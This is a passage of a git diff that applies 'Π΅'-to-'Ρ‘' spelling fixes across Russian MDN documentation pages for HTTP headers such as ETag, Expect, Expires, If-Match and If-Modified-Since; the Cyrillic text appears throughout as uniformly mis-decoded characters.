+ <dd>Часы с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Ρ‘ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β "09" ΠΈΠ»ΠΈ "23".</dd>
<dt>&lt;minute&gt;</dt>
- <dd>ΠœΠΈΠ½ΡƒΡ‚Ρ‹ с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Π΅ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "04" ΠΈΠ»ΠΈ "59".</dd>
+ <dd>ΠœΠΈΠ½ΡƒΡ‚Ρ‹ с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Ρ‘ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "04" ΠΈΠ»ΠΈ "59".</dd>
<dt>&lt;second&gt;</dt>
- <dd>Π‘Π΅ΠΊΡƒΠ½Π΄Ρ‹ с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Π΅ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "04" ΠΈΠ»ΠΈ "59".</dd>
+ <dd>Π‘Π΅ΠΊΡƒΠ½Π΄Ρ‹ с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Ρ‘ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "04" ΠΈΠ»ΠΈ "59".</dd>
<dt>GMT</dt>
<dd>
<p>ВрСмя ΠΏΠΎ Π“Ρ€ΠΈΠ½Π²ΠΈΡ‡Ρƒ. HTTP Π΄Π°Ρ‚Ρ‹ всСгда прСдставлСны Π² GMT, Π°Β Π½Π΅ Π² локальном Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</p>
diff --git a/files/ru/web/http/headers/etag/index.html b/files/ru/web/http/headers/etag/index.html
index 4d5e8ae282..7f8b3a6ce7 100644
--- a/files/ru/web/http/headers/etag/index.html
+++ b/files/ru/web/http/headers/etag/index.html
@@ -17,7 +17,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/ETag
<td>{{Glossary("Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
+ <th scope="row">{{Glossary("Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>Π½Π΅Ρ‚</td>
</tr>
</tbody>
@@ -35,7 +35,7 @@ ETag: "&lt;etag_value&gt;"
<dt><code>W/</code> {{optional_inline}}</dt>
<dd><code>'W/'</code> (чувствитСлСн ΠΊ рСгистру) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">слабый Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€</a>. Π‘Π»Π°Π±Ρ‹Π΅ Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€Ρ‹Β Π»Π΅Π³ΠΊΠΎ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π΅ΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡΒ Π΄Π»Ρ сравнСния. Π‘ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€Ρ‹Β ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹Β Π΄Π»Ρ сравнСния, Π½ΠΎΒ ΠΈΡ… ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΡΠ»ΠΎΠΆΠ½ΠΎΒ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эффСктивно. Π‘Π»Π°Π±ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>Etag</code>Β Π΄Π²ΡƒΡ… прСдставлСний одного ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ рСсурса ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ, Π½ΠΎ Π½Π΅Β Π±Π°ΠΉΡ‚-Π²-Π±Π°ΠΉΡ‚.</dd>
<dt>"&lt;etag_value&gt;"</dt>
- <dd>Вэг сущности,Β ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс. Π­Ρ‚ΠΎ строка ASCII ΠΊΠΎΠ΄ΠΎΠ², Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Π°Ρ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>"675af34563dc-tr34"</code>). ΠœΠ΅Ρ‚ΠΎΠ΄, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ значСния <code>ETag</code>, Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ…ΡΡˆ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ…ΡΡˆ послСднСго врСмСни ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ просто Π½ΠΎΠΌΠ΅Ρ€ Ρ€Π΅Π²ΠΈΠ·ΠΈΠΈ. НапримСр, MDN ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ…ΡΡˆΒ wiki-содСрТимого.</dd>
+ <dd>Вэг сущности,Β ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс. Π­Ρ‚ΠΎ строка ASCII ΠΊΠΎΠ΄ΠΎΠ², Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Π°Ρ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>"675af34563dc-tr34"</code>). ΠœΠ΅Ρ‚ΠΎΠ΄, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ значСния <code>ETag</code>, Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ…ΡΡˆ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ…ΡΡˆ послСднСго врСмСни ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ просто Π½ΠΎΠΌΠ΅Ρ€ Ρ€Π΅Π²ΠΈΠ·ΠΈΠΈ. НапримСр, MDN ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ…ΡΡˆΒ wiki-содСрТимого.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -63,7 +63,7 @@ ETag: W/"0815"</pre>
<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
-<p>ПослС Ρ‡Π΅Π³ΠΎ сСрвСр сравнит клиСнтский <code>ETag</code> (ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>If-None-Match</code>) с <code>ETag</code> для Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ вСрсии рСсурса и, Ссли ΠΈΡ… значСния ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚ (Ρ‚.Π΅. рСсурсы Π½Π΅ Π±Ρ‹Π»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹), сСрвСр Π²Π΅Ρ€Π½Π΅Ρ‚ статус {{HTTPStatus("304")}}<code> Not Modified</code>, Π±Π΅Π· Ρ‚Π΅Π»Π° ΠΎΡ‚Π²Π΅Ρ‚Π°.Β Π’Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚ сСрвСра сообщаСт ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Π°Ρ вСрсия рСсурса Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Π° ΠΈ Π³ΠΎΡ‚ΠΎΠ²Π° ΠΊ использованию.</p>
+<p>ПослС Ρ‡Π΅Π³ΠΎ сСрвСр сравнит клиСнтский <code>ETag</code> (ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>If-None-Match</code>) с <code>ETag</code> для Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ вСрсии рСсурса и, Ссли ΠΈΡ… значСния ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚ (Ρ‚.Π΅. рСсурсы Π½Π΅ Π±Ρ‹Π»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹), сСрвСр Π²Π΅Ρ€Π½Ρ‘Ρ‚ статус {{HTTPStatus("304")}}<code> Not Modified</code>, Π±Π΅Π· Ρ‚Π΅Π»Π° ΠΎΡ‚Π²Π΅Ρ‚Π°.Β Π’Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚ сСрвСра сообщаСт ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Π°Ρ вСрсия рСсурса Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Π° ΠΈ Π³ΠΎΡ‚ΠΎΠ²Π° ΠΊ использованию.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/http/headers/expect/index.html b/files/ru/web/http/headers/expect/index.html
index f6182f09c7..5e4e355851 100644
--- a/files/ru/web/http/headers/expect/index.html
+++ b/files/ru/web/http/headers/expect/index.html
@@ -8,7 +8,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Expect
<p>Запрос "HTTP Expect" ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ оТидания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ сСрвСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ запрос.</p>
-<p>ЕдинствСнным ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² спСцификации, являСтся "Expect: 100-continue", Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ:</p>
+<p>ЕдинствСнным ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² спСцификации, являСтся "Expect: 100-continue", Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ:</p>
<ul>
<li>{{HTTPStatus("100")}} Ссли ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, содСрТащСйся Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅, достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹ΠΉ успСх,</li>
diff --git a/files/ru/web/http/headers/expires/index.html b/files/ru/web/http/headers/expires/index.html
index f388db7437..b5b0c6cf1b 100644
--- a/files/ru/web/http/headers/expires/index.html
+++ b/files/ru/web/http/headers/expires/index.html
@@ -24,7 +24,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Expires
<td>{{Glossary("Response header")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
+ <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>Π½Π΅Ρ‚</td>
</tr>
<tr>
diff --git a/files/ru/web/http/headers/if-match/index.html b/files/ru/web/http/headers/if-match/index.html
index 1f46b5bbb1..d6ec7f0b9a 100644
--- a/files/ru/web/http/headers/if-match/index.html
+++ b/files/ru/web/http/headers/if-match/index.html
@@ -10,7 +10,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/If-Match
<p>Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅ с Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹ΠΌ {{HTTPHeader("ETag")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ сравнСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π²Π° Ρ„Π°ΠΉΠ»Π° ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ Π±Π°ΠΉΡ‚Π°ΠΌΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Π°ΠΉΡ‚ΠΎΠΌ. Π­Ρ‚ΠΎ ослабляСтся, ΠΊΠΎΠ³Π΄Π° прСфикс <strong><code>W/</code></strong>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠ΅Ρ€Π΅Π΄ <strong>ETag.</strong></p>
-<p>БущСствуСт Π΄Π²Π° распространСнных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° использования:</p>
+<p>БущСствуСт Π΄Π²Π° распространённых Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° использования:</p>
<ul>
<li>Для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² {{HTTPMethod("GET")}} ΠΈ {{HTTPMethod("HEAD")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² сочСтании с {{HTTPHeader("Range")}}, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ Π½ΠΎΠ²Ρ‹Π΅ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Ρ‹ с Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ рСсурса, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ. Если ΠΎΠ½ Π½Π΅ соотвСтствуСт, Ρ‚ΠΎ возвращаСтся ΠΎΡ‚Π²Π΅Ρ‚ {{HTTPStatus("416")}} (Range Not Satisfiable).</li>
@@ -40,9 +40,9 @@ If-Match: &lt;etag_value&gt;, &lt;etag_value&gt;, …
<dl>
<dt>&lt;etag_value&gt;</dt>
- <dd>Π’Π΅Π³ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹Π΅ рСсурсы. Они ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой строку символов ASCII, ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌΠΈ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <strong>"675af34563dc-tr34"</strong>) ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ прСфиксами<strong>Β W/</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ слабый Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ сравнСния.</dd>
+ <dd>Π’Π΅Π³ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹Π΅ рСсурсы. Они ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой строку символов ASCII, ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌΠΈ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <strong>"675af34563dc-tr34"</strong>) ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ прСфиксами<strong>Β W/</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ слабый Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ сравнСния.</dd>
<dt><code>*</code></dt>
- <dd>Π—Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ° прСдставляСт собой ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ любой рСсурс.</dd>
+ <dd>Π—Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ° прСдставляСт собой ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ любой рСсурс.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/http/headers/if-modified-since/index.html b/files/ru/web/http/headers/if-modified-since/index.html
index 5b6563036e..8adad2f7cc 100644
--- a/files/ru/web/http/headers/if-modified-since/index.html
+++ b/files/ru/web/http/headers/if-modified-since/index.html
@@ -11,11 +11,11 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/If-Modified-Since
---
<div>{{HTTPSidebar}}</div>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP запроса <strong><code>If-Modified-Since</code></strong>Β Π΄Π΅Π»Π°Π΅Ρ‚ запрос условным: сСрвСр ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс с статусом {{HTTPStatus("200")}}, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΎΠ½ был измСнСн послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹. Если запрос Π½Π΅ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹, ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ {{HTTPStatus("304")}} Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ‚Π΅Π»Π°; Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Last-Modified")}} ΠΏΡ€ΠΈ этом Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ послСднСй ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ {{HTTPMethod("HEAD")}}.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP запроса <strong><code>If-Modified-Since</code></strong>Β Π΄Π΅Π»Π°Π΅Ρ‚ запрос условным: сСрвСр ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс с статусом {{HTTPStatus("200")}}, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΎΠ½ был измСнён послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹. Если запрос Π½Π΅ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹, ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ {{HTTPStatus("304")}} Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ‚Π΅Π»Π°; Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Last-Modified")}} ΠΏΡ€ΠΈ этом Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ послСднСй ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ {{HTTPMethod("HEAD")}}.</p>
<p>ΠŸΡ€ΠΈ использовании Π² сочСтании с {{HTTPHeader("If-None-Match")}} Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>If-Modified-Since</code> игнорируСтся, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚Π΅Ρ… случаСв, ΠΊΠΎΠ³Π΄Π° сСрвСр Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ If-None-Match.</p>
-<p>НаиболСС распространСнным Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ использования являСтся ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½Π΅ связанного с {{HTTPHeader("ETag")}}.</p>
+<p>НаиболСС распространённым Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ использования являСтся ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½Π΅ связанного с {{HTTPHeader("ETag")}}.</p>
<table class="properties">
<tbody>
diff --git a/files/ru/web/http/headers/if-unmodified-since/index.html b/files/ru/web/http/headers/if-unmodified-since/index.html
index 93a843facc..a9b70ee934 100644
--- a/files/ru/web/http/headers/if-unmodified-since/index.html
+++ b/files/ru/web/http/headers/if-unmodified-since/index.html
@@ -12,12 +12,12 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/If-Unmodified-Since
<div>
<p>{{HTTPSidebar}}</p>
